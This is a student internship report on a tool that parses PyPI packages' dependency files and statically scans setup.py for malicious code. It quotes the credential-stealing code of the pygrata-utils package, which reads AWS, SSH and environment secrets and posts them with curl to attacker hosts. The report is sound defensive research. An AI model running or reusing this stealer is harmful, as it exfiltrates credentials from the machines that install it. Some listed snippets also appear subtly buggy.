



## **Tracking Dependencies**

Internship/Project final report

Jaime Cruz Ferreira — up202008300

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# Introduction

## 1.1 Motivation

The Python Package Index, commonly known as PyPI, is the greatest and official software repository for the programming language Python. As of the time of writing this report, PyPI contains more than 450 thousand packages and is an essential tool for the majority of Python developers. Complementing PyPI, `pip` — a package-management system — connects to it and enables the installation and management of Python packages via the command line. Through some simple commands such as

```
$ pip install *package_name*
```

`pip` searches within PyPI for the asked package, downloads, installs and does the same process for every package the one before depends on — this is called a dependency.

`pip` is able to accomplish this by forcing all PyPI packages to have a similar structure, so that the search for the dependencies occurs fluently. One of the files present in nearly all projects is a *setup.py* Python file containing metadata about the package and code that ensures the successful and correct installation of the package.

Using this method of installing packages, every *setup.py* file is executed and a door for malicious code is opened.

## 1.2 Goals

Among the thousands of packages in PyPI there are some which only goal is to attack whoever installs them. The malicious code is typically present in the *setup.py* file, since it is automatically executed with the *pip install* and *pip download* commands.

The goal of this project is to build a tool that could be a replacement for part of `pip`'s install and downloads methods: instead (or before) of executing

any file, it should be able to perform a static program analysis that triggers a warning if the package to be installed is suspicious. In addition and to avoid executing any suspicious code, the dependency tree should also be built through static code analysis.

### 1.3 Complements to This Report

The code developed for this project is available in its entirety at my Github — [https://github.com/jaimemcmf/searching\\_pypi\\_deps](https://github.com/jaimemcmf/searching_pypi_deps).

I also recorded a visual demonstration of the project, available at Youtube — [linktopost](#).

# State of the Art

There has been some research regarding searching and identifying malicious packages in PyPI. The main technique used by attackers to trick users to install these libraries is to rely on typos — this is commonly called typosquatting — to successfully have the malicious code executed. When a developer attempts to download a package through pip, the smallest typing mistake may be compromising: some malicious packages have names identical to very known and legitimate packages. In 2016, a package was named *mumpy* was spotted in PyPI. This name was meant for anyone installing *numpy* — a long-established library for high-level mathematical functions — to make a small mistake and accidentally installing the malicious package and, at that point, the code would be executed with no way back.

## 2.1 Finding Malicious Packages by Typosquatting Probability

As previously mentioned, a lot of attackers seek user mistakes in order to have these packages installed. A 2020 article by Vu, D. et al, *Typosquatting and Combosquatting Attacks on the Python Ecosystem*, describes the search for these packages by having a set of known trustworthy packages and iterating PyPI looking for packages with names with a small Levenshtein distance to the ones in in set.

In fact, the results of this project are conclusive as there were found many instances of malicious packages pretending to be benign ones.

This project has some obstacles though. The set of known libraries has to be built but there is not any way to certainly confirm a package is safe — it either has to be manually inspected or belong in a relatively small array of widely used packages. This is a demanding task and, in case the used set is rather limited, the search may not be as effective. Additionally, the threshold of the Levenshtein distance has to be adequate, since a small value can restrict the search but an excessively large one will produce an unnecessarily extensive search space. Finally, many benign packages have

similar names to other benign packages and this will lead to false positives. This means that every packaged should be manually verified.

## 2.2 Using a Sandbox

Sandbox is a term used to describe a safe environment with the purpose of testing software. Conversely to the approach used in this project where programs should not be executed, in this case programs will be executed in a sandbox. This allows to keep track of the behavior of the program (e.g. in case a binary file is executed, safely see what it does) and typically enables a more effective automatic analysis through, for example, tracking system calls. Furthermore, it is possible to use *pip* to gather package dependencies thus having the same behavior.

The problem that comes with this procedure is its unsuitability in a "real world" use case, that is, in a situation in which distinguishing safe software the conditions of a sandbox usage aren't met.

# Project Description

This project consists in two major parts: the search for dependencies and the static code analysis.

## 3.1 Searching for Dependencies

One of the biggest strains of this project was to understand and replicate how *pip* finds and install the dependencies of a given package. Since *pip* is an open-source project, a possibility of mimicking its actions would be to find the implemented code and use it. This was not the utilized way because *pip* is a huge and very complex project and replicating its code is not a viable solution.

When creating a new package, there are many different files where packages could be listed:

**pyproject.toml:** usually used for build dependencies, although in various situations common packages are listed in this file.

**setup.cfg:** used in projects that use the *setuptools* build system. *setuptools* is a commonly used library designed to facilitate packaging other Python projects.

**setup.py:** the most widely used file to list project dependencies, normally using *setuptools*.

**METADATA:** a texfile containing metadata that in some occasions lists dependencies.

All of these files must be present in the root directory of the project.

The previously mentioned package *setuptools*'s function "setup" present in *setup.py* receives as arguments all necessary metadata and other important details, among which is a list of dependencies. When this program is executed, this information is automatically dealt with. However, for the

reason that no program should be executed, another solution to gather dependencies was developed.

A function capable of parsing each file's content was the most effective way to find the dependencies, since all have a pattern for listing dependencies.

```
from pip._vendor import tomli

if has_pyproject:
    with open("pyproject.toml", encoding="utf-8") as file:
        pp_toml = tomli.loads(file.read())
        project = pp_toml.get("project")
    else: project = None
    if project is not None:
        if "dependencies" not in project:
            return []
        dependencies = dependencies + project["dependencies"]
```

Listing 3.1: Code to extract dependencies from *pyproject.toml*.

```
from configparser import ConfigParser

if has_setupcfg:
    parser = ConfigParser()
    parser.read("setup.cfg")
    try:
        reqs = parser['options']['install_requires'].split(
            '\n')
        if reqs[0] == "":
            reqs.pop(0)
        dependencies = dependencies + reqs
    except:
        pass
```

Listing 3.2: Function to extract dependencies from *setup.cfg*.

```
if has_setuptools:
    deps = []
    with open('setup.py', 'r', encoding="utf-8") as file:
        content = file.read()
    if "setup" in content and "install_requires" in content:
        try:
            content = content.translate({ord(c): None for c
                in string.whitespace})
```



```

        content = content.split("install_requires=")[1]
        content = content.split("]",1)[0]
        raw_deps = content.split(',')
        raw_deps.pop()
        for dep in raw_deps:
            dep = dep[1:]
            dep = dep[:-1]
            deps.append(dep)
    except:
        pass
    dependencies = dependencies + deps

```

Listing 3.3: Function to extract dependencies from *setup.py*.

```

if has_metadata:
    with open("METADATA", 'r+', encoding="utf-8") as file:
        content = file.readlines()
        for line in content:
            if 'Requires-Dist:' in line:
                dependencies = dependencies.append(line.
                    split(' ', 1))[1]

```

Listing 3.4: Function to extract dependencies from *METADATA*.

The combined output of this four snippets of code is a single list containing all dependencies of a given package.

## 3.2 Downloading Source Code

When downloading a package using *pip*'s "download" command, it automatically downloads the asked package and all its dependencies' source code. All packages available in PyPI are open source, so this applies to any package.

It would be possible to obtain the source code of a package by using the "download" command. However, due to the feature mentioned above, the *setup.py* file is executed. Keeping that in mind, another way to automatically find and download packages from PyPI has to be used. In a thorough search in *pip*'s source code a "Simple API" was found. This is, indeed, a very simple PyPI's API used for easy access to packages and all its versions without a user-interface. This web page <https://pypi.org/simple/>, lists every single package available in PyPI whereas <https://pypi.org/simple/packageName> lists every version of packageName. These HTML files only contain the HTML element 'anchor' with a hyperlink.

With access to this API is easy perform web scraping to automatically harvest source code. Each project has all its versions available in either both

*.tar.gz* and *.whl* files or only *.tar.gz* files. The contents of both are equal, but the *.tar.gz* version was chosen for the ease of extraction.

### 3.3 Types of Attacks

Some online articles from 2022 mention four malicious packages: *pygrata*, *pygrata-utils*, *hkg-sol-utils* and *loglib-modules*. Only *pygrata* and *pygrata-utils* are going to be focused on because they are identical to the others. The first "manually" installs *pygrata-utils* through a subprocess using *pip* and the latter's *setup.py* steals AWS (Amazon Web Services) credentials.

```
subprocess.getoutput('dig @1.1.1.1 install.api.pygrata.com
')
subprocess.getoutput('pip install pygrata-utils -U')
```

Listing 3.5: Malicious lines of code in *pygrata* package

```
acmd = 'curl -m 3 http://169.254.169.254/latest/meta-data/iam/
security-credentials/'
bcmd = 'cd ~/.aws && cat credentials'
ccmd = 'env'
cdcmd = 'cd ~/.ssh && ls && cat *'
ipcmd = 'ip addr show'
catenvcmd = 'cd ~/ && ls .env* && cat .env*'

result = subprocess.getoutput(acmd)
rolename = str(result).split('instance-profile/')[1].split
(' ',')[0]
accmd = 'curl -m 3 http://169.254.169.254/latest/meta-data/iam
/security-credentials/' + rolename + '/'
getcred = subprocess.getoutput(accmd)
all3 = "metadata \n -----
\n \n" + result + getcred
result2 = subprocess.getoutput(bcmd)
all4 = " \n \n a \n -----
\n \n" + result2
hostname = socket.gethostname()
username = getpass.getuser()
cwd = os.getcwd()
ipadd = subprocess.getoutput(ipcmd)
res3 = {'hostname':hostname,'cwd':cwd,'username':username,'IP
':ipadd}
```

```

all5 = "\n \n details \n
----- \n \n " + str(
    res3)
result3 = subprocess.getoutput(ccmd)
all6 = "\n \n en \n -----
    \n \n " + result3
result4 = subprocess.getoutput(cdcmd)
all7 = "\n \n ssh \n -----
    \n \n " + result4
all8 = str(all3) + str(all4) + str(all5) + str(all6) + str(
    all7)
filename1 = str(random.randint(0, 9999999999)) + '.txt'
filename2 = str(filename1)

subprocess.getoutput("curl -X POST http://graph.pygrata.com
:8000/upload -F 'files=@" + filename2 + "'")
subprocess.getoutput('curl -X POST http://graphs.pygrata.com/
api.php -d "textdata=' + all8 + "'')

```

Listing 3.6: Malicious lines of code in *pygrata-utils* package

A article by Fortinet shows a different approach used by attackers, where a package, *httpssp*, has a Base 64 encoding so the source code is not immediately identifiable.

This means that, on the one hand, there is a great diversification regarding the type, method and goal of these attacks. On the other hand, it is quite difficult to find source code to explore since the majority of known malicious packages have already been taken down by PyPI and their code is not available. This massively impacts the success of the code analyzing tool to be built, for it has to address each method of attack.

## 3.4 Analyzing Static Code

The three addressed types of attack were the ones mentioned in the last section: subprocesses installing other packages, requesting and posting from "hardcoded" URLs and Base 64 decoding the code and performing the first two again.

### 3.4.1 Installation Through *pip* Using Terminal Commands

The AST package for Python statically analyzes source code and builds an abstract syntactic tree (AST). Building an AST makes possible to group called functions and its arguments.

Using this tree, a list containing lists of [functionname—arguments] is obtained and this list is iterated through, searching for functions capable

of executing terminal commands (e.g. `subprocess.getoutput`) and, in case these are found, search for an argument containing `"pip install"` or `"pip download"`. In case any of these exist, this function returns `True`.

This procedure has the disadvantage of not being capable of keeping track of variable values. That is, for example, if `subprocess.getoutput` is called as `subprocess.getoutput(str)` and `str` is `'pip install packagename'`, this method would not work.

### 3.4.2 Finding Hardcoded URLs

When it comes to finding URLs in source code there are a few variables that have to be taken into account. If a URL is present in a comment, it is not dangerous. Moreover, if it is contained in a printing function it is also benign. It is important to check these factors because, if not, the number of packages flagged as malicious would be enormous and little to no information would be extracted.

#### Removing Comments

Each time a package is analyzed, a script removes all comments and *docstrings*. This is done using the *tokenize* library and creating a new Python file — *cleansetup.py* — containing only tokens that are not comments or *docstrings*.

Every following step is performed at *cleansetup.py*.

#### Discarding Printed URLs

As done in section 3.4.1, an AST assists with identifying printing functions such as `"print"` and `"textwrap.dedent"`. This is followed by searching the arguments of these functions, and finding URLs using a regular expression.

#### Discarding URLs in setup function

As previously mentioned, it is very common to use the libraries *distutils* and *setuptools*'s `"setup"` function to make the management of the package's metadata. Two of the accepted arguments for this function are `"url"` and `"downloadurl"` which contain a URL or a list of URLs that are benign, so they must not be taken into account while searching for URLs.

The AST solution did not work as expected for this problem as the function is quite complex and the tree would not display the arguments of arguments correctly. A parsing solution seemed to work better: the program is stripped (remaining only the `setup` function) and a search using a regular expression is performed.

## Remaining URLs

In a similar technique to the previous subsections, the remaining URLs are found by the following regular expression:

```
'https?:\\\/\\\/(?:www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{1,256}\\\\. [-a-zA-Z0-9()]{1,6}\\b(?:[-a-zA-Z0-9()@:%._\\+~#?&\\\/=]*)'
```

The found URLs automatically trigger the package as a suspicious one. This happens because any further verification is outside of the static analysis field and not a part of this project, but may be a necessary step nonetheless.

## 3.5 Features and Piecing Together

Three different features were added to this project, making everything come together. The three following subsections will cover the different options available.

### 3.5.1 Iterate through PyPI's Package List

The default option when executing the main file of this project — *main.py* — iterates through PyPI. It is checked whether a *pypipackages.txt* file exists or not. This file should contain a list of all packages within PyPI and, in case this file does not exist, it uses a webscraping technique at <https://pypi.org/simple/> into a text file. This process typically takes three to five minutes, so in order to avoid this process to be repeated, a verification was added. Every time this script is executed, a list is created from this file and the search for dependencies and scanning is applied to each package present in this list. In order to avoid unnecessary steps (that is, scanning and building a dependency tree for a package more than once), every package is inserted in a set when scanned. Each time a package is to be scanned, it is checked whether it is present in this set or not. If it is, the process does not continue.

Whenever a package is identified as malicious, it is moved to a different directory (flaggedpackages) from a "downloadedpkgs" directory. This directory is the destination of the downloaded zip files from PyPI and, if it is not flagged as suspicious, it is removed.

What this program essentially does is verifying and recursively searching for packages. This outputs a dependency tree as can be seen in Figure 3.1.

### 3.5.2 Perform the Search in a Given Package

With the flag option "-p" or "-package", it is possible to accept an input package:

```

> python3 main.py
Do you wish to continue from last iteration?
n
0
0-._.-._.-._.-._.-._.-0
000
0.0.1
    pandas
        numpy
        numpy
        numpy
        python-dateutil
        six
        pytz
        tzdata
00101s
00print_lol
00SMALINUX
0101
01changer

```

Figure 3.1: Part of the output of *main.py*

```
$ python main.py -p *package_name*
```

This restricts the execution to a single package and its dependencies. This option was considered essential since the execution time on the default one is unfeasible for a quick check on a specific package. If, for example, one was to verify if the package "pandas" is malicious or not, it would take hours or even days to get to "pandas".

### 3.5.3 Only Download Package and Dependencies

Flag "-d" or "-download" mimics the behavior of the "*pip* download" command. The main difference between this implementation and *pip*'s is whether the Python files are executed or not. This enables the user to easily check for dependencies and get their source code without ever risking executing malicious code.

```
$ python main.py -d *package_name*
```

### 3.5.4 Checking a Single Python File

The last implemented option is the support of checking a single Python file for malicious source code. The "-c" or "-check" enables the user to

input a Python file and perform the same verification as mentioned above, without ever executing the potentially malicious code.

```
$ python main.py -c filename.py
```

## 3.6 Results

It was possible to correctly identify and collect package dependencies through a simple approach. The final program is capable of identifying both packages shown in section 3.3 as malicious.

Conversely, it was found that identifying attacks merely through static code analysis is not an easy task: the verification has to usually be very "attack-oriented" (that is, in order to successfully recognize an attack it has to be seen) because, as stated in section 3.3, there is a high variety of known attacks, not counting the ones not yet discovered. It is also important to note that the current method of scanning has a very high false-negative tendency and it may be unfeasible to manually verify all falsely flagged packages. Moreover, the process of downloading packages (regarding the iteration through PyPI) is quite slow and demanding. This means that, even if the scanning was precise, searching through all PyPI's packages is a challenging process.

# Conclusion

While developing this process it was possible to acknowledge the complexity of common packages such as *pip* and *numpy*, how this complexity differs from project to project, as well as understanding the dependency search and installation process used by Python's default package manager *pip*.

The objectives of this project were halfway met. On the one hand, the first part regarding dependency search was fully achieved: this project's programs are able to have the expected behavior when finding dependencies of a given package.

On the other hand, the static code analysis was not achieved as expected. This can be partially explained by the lack of access to malicious source code and for the abundant diversity of *setup.py*'s content. Even though there is a standard structure followed by most developers, many have different approaches which results in multiple false positives.

The unsatisfying results could be attenuated by having access to a bigger library of malicious packages and by having more time and knowledge on the Python programming language.